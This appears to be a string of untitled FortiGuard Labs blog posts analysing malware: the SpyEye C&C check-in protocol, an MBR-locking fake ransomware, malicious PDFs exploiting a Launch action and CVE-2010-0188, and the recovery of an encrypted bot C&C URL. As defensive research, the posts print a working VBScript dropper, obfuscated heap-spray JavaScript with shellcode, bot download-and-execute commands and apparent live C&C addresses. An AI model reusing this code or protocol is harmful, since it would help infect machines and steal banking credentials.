So here’s introducing our Facebook and Twitter pages for your ease of following us.

If you, like us, have tried every RSS aggregator there is under the sun, have been left unsatisfied with each, and then have finally resorted to using social networks as aggregators, you might be happy to know that you can follow FortiGuard Labs through your Twitter or Facebook accounts.

Follow/Like us to keep up with our research, blog posts, threat advisories and other work that we feel you might find interesting.

A good place to start this process is with the SpyEye botnet messages. Network messages can be a quick way to recognize a botnet, even when no sample is available yet. They can also provide a dynamic view of the botnet in action, revealing its structure, growth and activities.

When a SpyEye bot running on an infected computer starts up, it immediately sends a message to check in with its Command & Control server. This first message contains some basic information about the bot infector and the computer it is running on. Here is an example, with the parameters highlighted.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&cpu=100&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870

Let’s take a closer look at each of the parameters sent to the C&C server in this message.

guid=uname!cname!1A2B3C4D
The guid is a unique identifier for the bot. It is made up of the current user name, the computer name and a numeric identifier.

ver=10260
This is the version of the bot infector that is currently running on the infected computer. The SpyEye version numbers in my message collection range from 10060 (1.0.60) to 10299 (1.2.99). In this range 43 version numbers have been seen in use, all in less than a year. The most commonly seen version numbers, and probably the most popular builds, are 10070, 10280 and 10299. There have been some recent attempts to sell 103xx and 104xx versions, but most of these are obvious fakes. There is an emerging 10305 version appears to be genuine.

stat=ONLINE
The functional status of the bot. In most messages the bots send stat=ONLINE. If a bot is not online no message can be sent, so there is no need for an offline status message. If the loader has just been used to put a file on the bot, the status will be either LOAD-COMPLETE or LOAD-ERROR, depending on the result.

ie=6.0.2900.2180
The version of Internet Explorer on the infected computer.

os=5.1.2600
The version of Microsoft Windows operating system on the infected computer.

ut=Admin
This is the user type of the current user on the infected computer. The possible values are User and Admin.

cpu=100
The cpu load on the infected computer, as a percentage.

ccrc=90A01B2D
This is a CRC32 taken from the last four bytes of the bot config file currently on the infected computer. The ccrc is used to determine if a config update is needed.

md5=0516cb89185fee8bee81a15d2859c870
This is the md5 of the bot infector that currently is on the computer. The C&C server software compares this to the latest md5 in its update table to decide if an update is needed. This parameter was introduced somewhere between versions 10070 and 10082.

After sending the initial message, the bot continues to regularly send check in messages every five minutes. These messages are the same as the first one, except that the ie, os and ut parameters are not included.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=ONLINE&cpu=0&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870

If there are plugins included in the infection, the check in messages will have the plg parameter, along with the names of the plugins.  Here is a list of some popular plugins.

billinghammer     Charges credit cards using stolen card data.
bugreport         Returns SpyEye debugging information.
ccgrabber         Collects credit card information from the bots.
ffcertgrabber     Collects certificate information from the bots.
ftpbc             Allows reverse ftp connections to the bot.
socks5            Allows reverse connections through a proxy server.

It is not possible to give an exact or complete plugin list because the names can be changed, and it looks like there are some fakes circulating. In the next sample message the bot reports that is has two plugins, bugreport and billinghammer.

http://(server)/gate.php?guid=dmacdonald!VB4!361C13E2&ver=10260&stat=ONLINE&plg=bugreport;billinghammer&cpu=0&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870

The C&C server responds to this message with status control information, which is used to set  the state of the plugins. In this example, both plugins are being kept in the inactive state by setting the control codes to zero.

HTTP/1.1 200 OK (text/html)
PLUGIN<br>billinghammer;0<br>bugreport;0<br>

As an example, if the bugreport plugin is to be activated, the botnet operator uses the C&C Control Panel to change the setting. The image below shows how this is done.

The next time the bot checks in, the status code for bugreport in the reponse message will have been changed from zero to one. This tells the bot to activate the plugin, causing it to begin doing whatever it does. The new status code continues to be sent in response to each subsequent check in, until the bot goes offline or the plugin is deactivated from the Control Panel.

HTTP/1.1 200 OK (text/html)
PLUGIN<br>billinghammer;0<br>bugreport;1<br>

Soon the time will come to update the bot executable, either because Anti-Virus scanners detect the old build, or because a new version has become available. To do an update, the botnet operator goes to the Control Panel and uses the Update Bot subpanel to upload the new file.  The md5 of the sample is put into the update_bot table, and each time a check in message arrives from a bot, this md5 is compared to the one in the message. If they differ, an UPDATE command is included in the C&C response message. An example of the check in message and response can be seen below, with the old md5 highlighted.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=ONLINE&plg=bugreport;billinghammer&cpu=0&ccrc=90A01B2D&md5=0516cb89185fee8bee81a15d2859c870

HTTP/1.1 200 OK (text/html)
UPDATE<br>PATH=http://(server)/bin/build___.exe

When this command is received, the bot downloads the new build from the location given and installs it. The next check in message to be sent shows the change in the md5 (highlighted below). If the new md5 matches the one in the update_bot table, the update was successful.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=ONLINE&cpu=5&ccrc=7CF6CDB7&md5=705db7f1d97be9cfd4991378648ea7a2

The configuration file (config.bin) can also be updated, in a similar manner. This would be done when a server address changes, or to update or add plugins, which are delivered in the config file. The bot message format includes a parameter called ccrc, which is a crc32 taken from the last four bytes of the config.bin file, in reverse order. The file is compressed and these bytes are part of the compression information. If this value differs from the ccrc of the config.bin stored on the C&C server, an UPDATE_CONFIG command is issued, causing a new config.bin to be downloaded and installed. The check in and response messages can be seen below, followed by the next check in message, where the change in the ccrc can be seen.

http://(server)/gate.php?guid=dmacdonald!VB4!361C13E2&ver=10260&stat=ONLINE&cpu=0&ccrc=7CF6CDB7&md5=705db7f1d97be9cfd4991378648ea7a2

HTTP/1.1 200 OK (text/html)
UPDATE_CONFIG<br>PATH=http://(server)/bin/config.bin

http://(server)/gate.php?guid=dmacdonald!VB4!361C13E2&ver=10260&stat=ONLINE&cpu=2&ccrc=90A01B2D&md5=705db7f1d97be9cfd4991378648ea7a2

The botnet Control Panel software also provides the ability to load and execute programs on the bot infected machine. Once a loader task has been set up, a LOAD command is sent as part of the response to the next bot check in.

HTTP/1.1 200 OK (text/html)
LOAD<br>http://(server)/bin/upload/calc.exe<br>121

Unlike the update functions, the loader has no crc or md5 to check the success of a download, so it relies on an error reporting system. The number 121, at the end of the LOAD command above, is a task ID used to report success or failure. It is included as tid=121 in the next bot check in message, where it serves to identify the task being reported on.

http://(server)/gate.php?guid=uname!cname!1A2B3C4D&ver=10260&stat=LOAD-COMPLETE&tid=121&rep=TASK%20IS%20OK&cpu=36&ccrc=7CF6CDB7&md5=705db7f1d97be9cfd4991378648ea7a2

Here the load was successful. This is confirmed by the status being set to stat=LOAD-COMPLETE, and by the text report, rep=TASK IS OK. If the LOAD command fails, the status is reported as stat=LOAD-ERROR, with a more detailed error message in the text report. Of course this system does not protect against file corruption.

http://(server)/gate.php?guid=dmacdonald!VB4!361C13E2&ver=10260&stat=LOAD-ERROR&tid=121&rep=[ERROR]%20:%20Cannot%20create%20thread.%200o%20:%20dwErr%20==%201455&cpu=1&ccrc=7CF6CDB7&md5=705db7f1d97be9cfd4991

There are several other error messages that can be sent by the bot. The list of error message format strings from the bot can be seen below.

[ERROR] : CreateProcess(“%s”, …, “%s”) fails : dwFileSize == 0x%08X; dwCrc32 == 0x%08X : dwErr == %d
[ERROR] : DumpPage(“%s”, “%s”) fails : dwErr == %d
[ERROR] : Empty szLink? : dwErr == %d
[ERROR] : Empty data? : dwErr == %d
[ERROR] : Empty report. Unknown error : dwErr == %d
[ERROR] : Thread is really sloppy : dwErr == %d
[ERROR] : Cannot create thread. 0o : dwErr == %d

For quick reference, here is a brief summary of the parameters that may appear in check in messages sent from the bot to the C&C. They are listed in their order of appearance, which is always the same.

guid   Unique ID of a bot infected computer.
ver    Bot infector version number.
stat   Current bot status.
tid    Program loader task ID number.
rep    Program loader result, text report.
ie     Internet Explorer version.
os     Microsoft Windows version.
ut     User type of the current user.
plg    List of plugins currently installed.
cpu    Percent cpu load.
ccrc   Config crc32, to check if update needed.
md5    Md5 of bot exe, to check if update needed.

This is not really the end of the story, some of the plugins also generate messages as they do their work. But at least we have enough information here to recognize and interpret the most important messages, the ones passed between the bot and the C&C server.

Among the talks filling the tri-tracks program (Build it / Break it / Bring it on), we’re glad to find our Crypto Girl, Axelle, who will present a paper she co-wrote with Kyle Yang (another regular poster on this blog) on the infamous mobile phone malware Zitmo, that we discovered (simultaneously with Spanish company S21sec) and named last September.

Zitmo stands for “ZeuS in the Mobile”; this offspring of the gang behind the infamous banking credential theft kit named “ZeuS” has the interesting peculiarity of attacking so-called “mTAN” (mobile Transaction Authentication Number), which are sent as SMS messages by many banks to serve as a second authentication factor, when customers want to initiate a financial transaction online.

Axelle will elaborate on the details during the preso, so if you’re around, make sure you attend!

Your PC is blocked.
All the hard drives were encrypted.
Browse www.safe-data.ru to get an access to your system and files.
Any attempt to restore the drives using other way will
lead to inevitable data loss !!!
Please remember Your ID: 773923,
with its help your sign-on password will be generated.
Enter password:

But they lie, the hard disk is not encrypted, only a few sectors have been changed. This table shows the changes to the disk sectors. Also shown are the memory addresses where they are loaded to memory by the malware.

Infected Drive   Disk Address   Memory Address   Sector Contents
  Sector 1         0x000          0x7C00           Malware boot sector
  Sector 2         0x200          0x7C00           Malware code
  Sector 3         0x400          0x7E00           Text strings & CRC
  Sector 4         0x600          -                -
  Sector 5         0x800          0x7E00           Original boot sector

Hard drive sector 1 normally contains the Master Boot Record (MBR), with the partition table and the boot code needed to start the operating system. It has been copied to sector 5 with two bytes changed. Sector 1 now contains the malware boot code, with no partition table.

When the computer starts, the malware boot code from sector 1 is loaded and executed. It reads sectors 2 and 3 into memory at address 0000:7c00. The malware then checks whether a certain ID number is present at the start of sector 2 and the end of sector 3. The ID number check code can be used to confirm the identity of the malware boot sector.

1000:002b   cmp   dword ptr [bx+02h], 636d6a68h ; code start marker
1000:0033   jnz   loc_0000004b                  ; marker not found
1000:0035   add   bx, 3fch                      ; location of code end marker
1000:0039   cmp   dword ptr [bx], 636d6a68h     ; code end marker
1000:0040   jnz   loc_0000004b                  ; marker not found

(The addresses in the listings are disk based addresses, conversion to memory addresses is shown where necessary.)

At this point the code loaded from sector 2 is executed, and the routine that reads in the password starts. Up to 16 characters can be keyed in, and when the Enter key is pressed processing begins. The first step is to pad the password with spaces so that the length is always 16 characters.

1000:027d   mov   al, 20h                       ; " " text space
1000:027f   cmp   di, 10h                       ; if di <16 carry set
1000:0282   jnc   loc_00000289                  ; if we have 16 chars jump
1000:0284   mov   [bx+di], al                   ; add a space " "
1000:0286   inc   di                            ; increase char count
1000:0287   jmp   27fh                          ; check again if 16 chars

Next each of the 16 password characters is sent to a CRC generator. The resulting CRC will be used to check the whether the password is correct.

1000:0289  mov  cl, 10h                         ; cl = 16, chars in password
1000:028b  xor  dx, dx                          ; dx = 0x00, CRC goes here
1000:028d  mov  si, 7e7ah                       ; password buffer (disk 047a)
1000:0290  cld                                  ; clear direction flag
1000:0291  lodsb                                ; load pwd char to al, si++
1000:0292  call loc_00000368                    ; call the CRC16 generator
1000:0295  dec  cl                              ; cl--  update character count
1000:0297  jnz  291h                            ; loop to load next character

There are many different CRC16 alogorithms. The one used is the xmodem version, not the most common or the best, but it will work for this task. The core of the CRC generator is shown below.

1000:036a  mov  ah, al                          ; move password char to ah
1000:036c  xor  al, al                          ; zero al
1000:036e  xor  dx, ax                          ; dx=crc, 0x00 on first pass
1000:0370  mov  cl, 08h                         ; set cl for 8 bits
1000:0372  shl  dx, 1h                          ; shift left 1 bit
1000:0374  jnc  37ah                            ; if top bit was 0 jump
1000:0376  xor  dx, 1021h                       ; CRC polynomial = 0x1021
1000:037a  dec  cl                              ; cl--
1000:037c  jnz  372h                            ; loop until cl=0

Once the password CRC has been calculated, it is checked against the reference CRC at memory location 0000:7ffa, where it was loaded from disk sector 3.

1000:0299  cmp  dx, [7ffah]                     ; password CRC loc (crc=0x24e0)
1000:029d  jz  loc_000002b2                     ; if equal

The CRC value 0x24E0, located at memory address 0000:7ffa, can be found at at disk location 0x7ffa – 0x7c00 + 0×200 = 0x05fa, shown in the hex dump below. Any password with this CRC will work.

Disk:05F0  Mem:7FFA   00 00 00 00 00 00 00 00  00 00 E0 24 68 6A 6D 63  ..........à$hjmc

When an incorrect password is entered, the words “Wrong password” are displayed, with “Enter password:” appearing again below. After three tries the computer reboots and the process starts again. Rebooting here is probably just a simple way to clear the display.

When a correct password has been entered, the process of restoring the computer begins. First the original boot sector is loaded into memory, from disk sector 5.

1000:02b2  mov  bx, 7e00h                       ; buffer
1000:02b5  mov  cx, 05h                         ; track=0 sector=5
1000:02b8  mov  dx, 80h                         ; head=0 drive=hard disk
1000:02bb  mov  ax, 201h                        ; read disk sectors, 1 sector
1000:02be  int  13h                             ; read disk
1000:02c0  jnc  loc_000002ca                    ; jump if read was ok

When the original boot sector was saved, the last two bytes were changed to “be af”. These are now checked, and if they are wrong the message “Data corrupted” is displayed.

Disk:09F0  Mem:7FF0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 BE AF  ..............¾¯

1000:02ca  mov  di, 7ffeh                       ; (disk 09fe)
1000:02cd  cmp  word ptr [di], 0afbeh           ; check value
1000:02d1  jz  loc_000002db                     ; if ok jump

If the bytes are as expected, they are changed back to their original value, “55 aa”, which is the Boot Record Signature. If the BIOS does not see these bytes it will not boot.

1000:02db  mov  dx, 0aa55h                      ; boot record signature
1000:02de  mov  word ptr [di], dx               ; write to mem, di=7ffe

The repaired boot sector is now written to sector 1, so that the computer becomes bootable again.

1000:02e0  mov  cx, 01h                         ; write to sector 1
1000:02e3  mov  dx, 80h                         ; head=0 drive=hard disk
1000:02e6  mov  ax, 301h                        ; write disk sectors, 1 sector
1000:02e9  int  13h                             ; write to disk
1000:02eb  jnc  loc_000002f5                    ; jump if ok, to "clean up disk"

Finally a buffer is filled with nulls and written to disk sectors 2, 3 and 5, so that all traces of the infection are removed, and the computer is rebooted. Of course if any of these sectors was being used by some system level software, like a disk or boot utility, whatever data they contained is lost and the password will not restore the computer to its original state.

The best way to cure this infection is to use a suitable disk repair utility. If this fails then hopefully the information presented here will help with manual repair. In any case it is important to remember that even when the computer boots successfully, it will still be infected with the malware that started this, and needs to be cleaned.

Additional information about this malware can be found in Fortinet researcher Patrick Yu’s All your drives are belong to us.

1) Security, Virtually Speaking

January 2010: “Preventing infections from cross pollinating between virtual machines will be key in securing virtual movements of servers.”

June 2010: With the ongoing progression of virtualization, it indeed becomes important to treat each virtual machine as if it were a physical box. For example, a worm could easily hop inter-VM on the same machine to another machine that has a completely different set of access credentials, creating a more potent infection. Virtualization adds another level of complexity, further widening the security gap. We have seen some interesting developments this year, including a unique Flash crash (potentially exploitable) that only occurs in a virtualized environment.

2) Information, Protect Thyself

January 2010: “Information-centric security, rather than container-centric security, will be necessary in the next decade as access to data will continue to evolve outside the traditional network.”

June 2010: We are now knee-deep in digital storage. Information can be stored anywhere: digital cameras, printers, picture frames, thumb drives, laptops / netbooks, etc. The number of containers is growing, while the sensitive information remains relatively the same. This is precisely why enterprises and administrators need to think about policies and a security framework that police information as it comes into and out of the network, no matter what the container.

3) Get Your Head, Not Your Security, Out of the Cloud

January 2010: “Adopting cloud-based services opens organizations up to many risks and vulnerabilities as information travels to and from protected networks via a public pipe, creating many more opportunities for data infection or theft.”

June 2010: Information continues to flow through public pipes. For example, Facebook has now introduced social plug-ins. Information that is already available from one source is bound to be integrated to other public platforms, spreading potentially sensitive data though cyber space. Once information leaves your fingertips, it becomes very difficult−if not impossible−to control. Thus, it is extremely important to safeguard your information before it leaves your fingertips and ultimately your data store/network.

4) Don’t Throw the Apps Out with the Bath Water

January 2010: “Second-layer security will be adopted to help enterprises have better application control beyond just allow or not allow.”

June 2010: As a packet travels, it will be shaped frequently. Second-layer (“layered”) security can be thought of as a waterfall filtering process with each tier able to extract hazardous material before it makes it to the next step. An example scenario with application control would be legitimate application traffic making it through the “allow policy,” only to abuse the application as the traffic arrives at the client. Intrusion prevention would be a good second-layer security mechanism in this example. We continue to see more vulnerabilities discovered and exploited in legitimate applications, further driving the need for layered security.

5) Security and Network Services Aren’t Strange Bedfellows

January 2010: “A natural evolution with the trend in consolidating network devices is to integrate more network functionality into security devices.”

June 2010: Fortinet has been following this trend for years, and continues to do so after pioneering the drive towards true unified threat management (UTM). For example, Fortinet’s FortiGate appliance allows both application control and intrusion prevention on one device. While they both have different goals, the underlying packet inspection technology allows enhancement on both sides.  As the attack surface grows, appropriate security technology needs to be developed to counter-attack. Integration of these technologies and ease of management is critical for threat mitigation from an administrative standpoint. Without this approach, counter-attack simply becomes exhaustive and wastes otherwise valuable resources.

6) CaaS vs. SaaS

January 2010: “Cybercriminals will take a page from the new security-as-a-service (SaaS) business model to implement their own crime-as-a-service approach, a criminal “environment for hire,” so to speak.”

June 2010: Crime services have been openly available in 2010, most notably through the use of simplified botnets – loader software that downloads and executes malware. These botnets will then report statistics back for quality control, so that the operators selling services (“loads”) can inform their customers when and where their malicious software was installed. We also continue to observe the Cutwail spam bot being distributed with different identification numbers. These are customer IDs, with each hired bot sending spam for the customers who bought them.

7) Scareware and Affiliates Find New Ground

January 2010: “With consumers becoming wise to scareware, cybercriminals are expected to up the stakes in 2010 by holding consumers’ digital assets hostage for ransom.”

June 2010: The rise of ransomware is no longer a myth, it’s a reality. We have witnessed several variations of ransomware emerge in 2010, from SMS-based locks to ones that kill applications until the user has paid the recovery fee. Detection levels have grown stronger in 2010, with variations of ransomware making their way into our top ten threat listings. While volume increases, attack strategy and technology continues to grow increasingly sophisticated. Combine this with solid encryption algorithms, and there is no doubt that ransomware will continue to plague cyberspace as we move through the remainder of 2010 and beyond.

8) Money Mules Multiply

January 2010: FortiGuard said, “Unwitting consumers may find themselves accessories to a crime as cybercriminals find new “mules” to launder their ill-gotten gains.”

June 2010: We have observed numerous instances of this trend and highlighted several examples in our threat reports. These socially-engineered attacks dupe users into fraudulent jobs that may sound innocent by description. Typically, the recurring job descriptions we observed in 2010 were accounts receivable ones, which involved the candidate receiving and forwarding funds while taking commission. Be very cautious of such promises, as there are legal implications – if it sounds too good to be true, it generally is.

9) Multiple Platforms in the Crosshairs:

January 2010: “With a growing number of users on new platforms, cybercriminals will target their attacks beyond Microsoft Windows.”

June 2010: As predicted, we have seen an increase in mobile threat activity. Symbian OS still remains a favored attack platform – viruses like Yxes are becoming more increasingly sophisticated while others, such as Enoriv, are just starting to emerge. As other operating systems such as Android continue to gain momentum, they, too, could shortly pose similar threats.

10) Botnets Hide through Legit Means

January 2010: “Botnets will no longer just obfuscate their binary codes to escape detection. Instead, they will piggyback on legitimate communications vehicles to propagate and cloak activities.”

June 2010: This year we have described several new botnets that have come into scope, each using common protocols such as HTTP to do their dirty work. On top of this, botnets, which existed before 2010, continue to remain strong and develop their protocols to obfuscate activity. This is big business and seemingly has become a primary focus for botnet developers.

A new development we discovered this year was Webwail, a Web-based scripting engine that can create accounts through the Web (such as Yahoo, Hotmail, GMail, etc) and then spam through them. In order to do this, CAPTCHAs are cracked dynamically (another example of demand for a CaaS market) by a third party, so that the Web bot may proceed as if it were human. While we have only observed Webwail to create and send spam, our analysis indicates it is much more capable. For example, it could easily spam through social networks. Other new developments include mobile threats and heavy use of document-based exploits through PDF and Flash. For more information on these, please refer to our FortiGuard Center and Blog which is regularly updated to feature such content.

In this post I will dissect a PDF document using this trick (MD5: 1dcd4a3f5d05433fcebf88d9138a1966), indeed found in the wild. As one of vendors affected, Adobe was investigating this issue and give a temporary solution. But no patch is available yet. In fact there maybe no patch at all… and although CVE number CVE-2010-1240 is assigned for this issue, Some people think it is not a vulnerability, for it requires user interaction.

0day or not, and vulnerability or not, it *is* a threat either was – and Fortinet provided protection for the customer: “PDF/Pidief.BV!exploit” for AV and “PDF.With.Launch.Action” for IPS, each tackling the threat from a different angle for better resistance to threat variation. Since no patch is available from vendors like Adobe yet, it is also important for you to be aware of the form of this trick found in the wild.

The malicious PDF document source code looks like the following:

Following is what you will see when open this PDF with latest Adobe Reader (9.3.2).

When you click the button “Open”, the following is executed:

/P (/c echo Set fso=CreateObject(“Scripting.FileSystemObject”) > script.vbs [...Truncated...] && script.vbs && batscript.vbs

This effectively drops, populates and executes a VB script called script.vbs, which final contents are the following:

Set fso=CreateObject(“Scripting.FileSystemObject”)
Set f=fso.OpenTextFile(“doc.pdf”, 1, True)
pf=f.ReadAll
s=InStr(pf,”‘SS”)
e=InStr(pf,”‘EE”)
s=Mid(pf,s,e-s)
Set z=fso.OpenTextFile(“batscript.vbs”, 2, True)
s = Replace(s,”%”,”")
z.Write(s)

Basically, it merely extracts an embedded “batscript.vbs” in the PDF document and drops it in the current directory. This “batscript.vbs” contains the following:

Dim b
Function c(d)
c=chr(d)
End Function
b=Array(c(077),c(090),c(144),[Truncated]
Set fso = CreateObject(“Scripting.FileSystemObject”)
Set f = fso.OpenTextFile(“game.exe”, 2, True)
For i = 0 To 35328
f.write(b(i))
Next
f.close()
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “cmd.exe /c game.exe”
WScript.Sleep 3000
Set f = FSO.GetFile(“game.exe”)
f.Delete
Set f = FSO.GetFile(“batscript.vbs”)
f.Delete
Set f = FSO.GetFile(“script.vbs”)
f.Delete

This essentially drops a binary file called game.exe from an array of binary codes and runs it. In turn, game.exe downloads and installs an instance of the infamous Zeus Bot, whose main purpose is to steal (including using live interception) banking credentials and information.

All that from a simple user click. Consequently, if you happen to run into such a dialog when opening a PDF document, consider that there might be something rotten in the Kingdom of Denmark (or at least, in that document); and do not be too prompt to click “open”.

Fortinet detect game.exe as W32/Agent.DJBN!tr and the Zeus bot instance as W32/Zbot.AISS!tr. A detailed analysis of the Zeus Botnet is avalaible on the Fortiguard Center.

Guillaume Lovet contributed to this post.

The key for cybercriminals to exploit CVE-2010-0188 here is to embed a malicious TIFF image in the PDF document (figure 1.1):

The uncompressed and decoded Tiff image reveals the real attack vector (Figure 1.2): The count value in DotRange.

The vulnerable plugin AcroForm.api (version 9.0.148) use this count value without sufficient sanitization. While the target buffer is a two bytes field on the stack, a memcpy instruction (in purple below) copies the 100 DotRange values (200 bytes) there.

As a matter of course, this effectively smashes the stack and overwrites the return address with the value 0x0C0C0C0C.

It is time to have a look at the Javascript embed in this PDF. Following is part of the decompressed JavaScript stream:
var  ____ = unescape;
var  _c1 =                 ”\x6c\x65\x6e\x67\x74\x68″;
function _____(__){var _=”;for(var ___=0;___&lt;__[_c1];___+=4) _+=’%'+’u'+__.substr(___,4);return _;}
function     rep(_    ,    __)    {    var ___    =    ”"    ;    while (    –_&gt;=    0) ___    +=     __    ;    return     ___;}
var         sc=        ____        (    _____(“9090909090909090EB905E1a5B56068a303c1674E0c04604268aE480020f88c443…[truncated]))
function uuu(){
_ = rep(128, ____    (_____        (“42424242424242424242″))) + sc;
_0 =             ____        (    _____(“0c0c0c0c”));
_1 = 20    +_[_c1];
while (_0[    _c1]&lt;_1) _0+=_0;
_2     =     _0["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,     _1);
_3     =     _0["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, _0[_c1    ]-_1);
while(_3[_c1]     +  _1&lt;0×80000) _3         = _3+    _3+_2;
_4= new Array();
for(i=0;i&lt;=192;i=i+1)    _4[i]                =_3        +_;
}
uuu();

This rather nastily obfuscated JS code simply sprays the heap with an encoded shellcode and its matching decoding stub, so that the return value above (0x0C0C0C0C) leads to the stub execution, as shown below:

0C0C0C0C    0C 0C                    or      al, 0C
[...]
0C10FB26    90                       nop
0C10FB27    EB 1A                    jmp     short 0C10FB43
0C10FB29    5E                       pop     esi
0C10FB2A    56                       push    esi
0C10FB2B    5B                       pop     ebx
0C10FB2C    8A06                     mov     al, byte ptr ds:[esi]
0C10FB2E    3C 30                    cmp     al, 30
0C10FB30    74 16                    je      short 0C10FB48; jump to decoded shellcode
0C10FB32    C0E0 04                  shl     al, 4
0C10FB35    46                       inc     esi
0C10FB36    8A26                     mov     ah, byte ptr ds:[esi]
0C10FB38    80E4 0F                  and     ah, 0F
0C10FB3B    02C4                     add     al, ah
0C10FB3D    8803                     mov     byte ptr ds:[ebx], al
0C10FB3F    43                       inc     ebx
0C10FB40    46                       inc     esi
0C10FB41  ^ EB E9                    jmp     short 0C10FB2C
0C10FB43    E8 E1FFFFFF              call    0C10FB29; Decoding following shellcode
[...]

Then, the hand is passed to the decoded shellcode, which starts… a decoding loop. This one decrypts a file (simple xor encryption, see figure below) before effectively dropping it as “C:\a.exe” and starting it.
The content of a.exe is also stored in the PDF file.

Figure 1.4 shows the code do the decoding, drop and run the  “C:\a.exe” (MD5: 779211676c099f81739e4320cbdce983).

Fortinet detects “a.exe” as W32/Emogen.DHLY!tr.dldr.

By the way, the shellcode use a very simple logic to find the PDF file handle (necessary for droping a.exe, which sits encrypted in the PDF file): It considers it is the first file opened in this process and have a size larger than 1000h. This logic may make mistake and lead to a crash.

Finally, “a.exe” does the followingl:
1. Move itself to “C:\Documents and Settings\Current User\Local Settings” and add an entry in the registry under key “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” for running upon reboot.
2.Prepare memory for code injection
3.Start svchost.exe and inject code in the created process

The poisonned “svchost.exe” in turns connect to a fixed IP and receive/execute commands, like a good old backdoor.

It must be noted, however, that this exploit will fail if you disable Javascript or enabling hardware-enforced DEP. Yet, a researcher named “villy” recently released in his Blog post a proof of concept version (that just launches windows calculator…) that bypasses such protections — Disabling JavaScript and hardware-enforced DEP would not protect you from an attack using a similar strategy.

Key Name:          HKEY_CLASSES_ROOT\idid

Name:            url0

00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17

00000010   1a 80 78 cc  d6 bb c4 55  73 b5 07 77  a4 81 3a 71

00000020   a4 98 ba d8  2c 85 17 ad  ce c0 b1 a5  9f c8 07 0b

But what URL could this be, if it is one? Most of these bytes are not in the normal text range, so it would have to be encrypted. Even when there was no network connection, the url0 data was added, so I knew it must be hard coded into the bot. From the tests I had been doing, I also knew that the bot contained a hard coded URL for its Command and Control server. So it seemed possible that the C&C URL was encrypted here, but of course I would have to prove that.

The first 16 bytes of the url0 values, from six bot tests, with their test identifiers (T3, M2 etc.), are listed below. The list is sorted by the opening bytes. They fall into two groups where the first seven bytes are identical. The T2 data is slightly different from the ones below it, but the one different byte (f1) could be the result of an encryption error.

T3   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17

M2   1e 9b 6d d8  89 e6 c4 5f  60 ff 12 7b  bd ea f3 4c

T2   f1 9b 20 62  fc 48 d0 3e  27 fc 1d f7  94 5a ff 3f

T1   f8 9b 20 62  fc 48 d0 32  3c fc 17 f1  91 51 ea 3f

M1   f8 9b 20 62  fc 48 d0 2a  2e fc 11 f9  81 1a f6 74

M5   f8 9b 20 62  fc 48 d0 2b  2a fd 17 e2  87 46 ea 7e

Looking at this, it seems fairly likely that each group was encrypted with the same key. And if these are URLs, the seven common bytes at the beginning of each line could be “http://”, if we are on the right track.

The obvious move at this point is to test this theory. We can start with the first row of hex data from the T3 and M2 tests, recover the key for T3 using the hard coded URL for that variant, then find out if the key is correct by decrypting M2 with it. The worksheet below shows the hard coded URL and the url0 registry data for T3 in the first two lines. At the bottom is the URL in text format and in the plain line are the equivalent hex bytes.

T3 http://gnfdt.cn/loader/bb.php

00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17 (encrypted in reg)

key

plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f (url in hex format)

text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /  (known URL)

We will assume that the key was XORed with the plaintext to produce this encryption. That is the most likely case, but if we are wrong it will be necessary to try some other methods. From this basis we will now XOR the encrypted and plain bytes to recover the key.

T3 http://gnfdt.cn/loader/bb.php

00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17 (encrypted in reg)

key        76 ef 19 a8  b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38 (recovered key)

plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f (url in hex format)

text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /  (known URL)

Now we have some key bytes, but there is no proof that they are real. To prove that, we can use the key bytes to decrypt M2. The result is below. Part of the URL that is hard coded into the M2 bot has been revealed.

M2 http://hqdedikit.com/mld/bb.php

00000000   1e 9b 6d d8  89 e6 c4 5f  60 ff 12 7b  bd ea f3 4c (encrypted in reg)

key        76 ef 19 a8  b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38 (recovered key)

plain      68 74 74 70  3a 2f 2f 68  71 64 65 64  69 6b 69 74 (decrypted hex)

text       h  t  t  p   :  /  /  h   q  d  e  d   i  k  i  t  (decrypted text)

So our case is proved, the hard coded URL is the one hidden in the registry key. We can easily extend this through the rest of the encrypted data to show the whole URL, and remove any lingering doubt.

But what would we do if each bot variant had its own key? The method above would not work, but there are other ways to approach this problem. One way is to check whether this is a repeating key encryption system. They are very common, and if it is we can make comparisons within one URL, instead of using two as we did above.

Let’s try this method with T3. The simple way is to use the whole URL to find as many key bytes as possible, then look for repetitions.

T3 http://gnfdt.cn/loader/bb.php

00000000   1e 9b 6d d8  89 e6 c4 50  7f fd 13 6b  fa e2 f4 17

key        76 ef 19 a8 b3 c9 eb 37  11 9b 77 1f  d4 81 9a 38

plain      68 74 74 70  3a 2f 2f 67  6e 66 64 74  2e 63 6e 2f

text       h  t  t  p   :  /  /  g   n  f  d  t   .  c  n  /

00000010   1a 80 78 cc  d6 bb c4 55  73 b5 07 77  a4 81 3a 71

key        76 ef 19 a8 b3 c9 eb 37  11 9b 77 1f  d4

plain      6c 6f 61 64  65 72 2f 62  62 2e 70 68  70

text       l  o  a  d   e  r  /  b   b  .  p  h   p

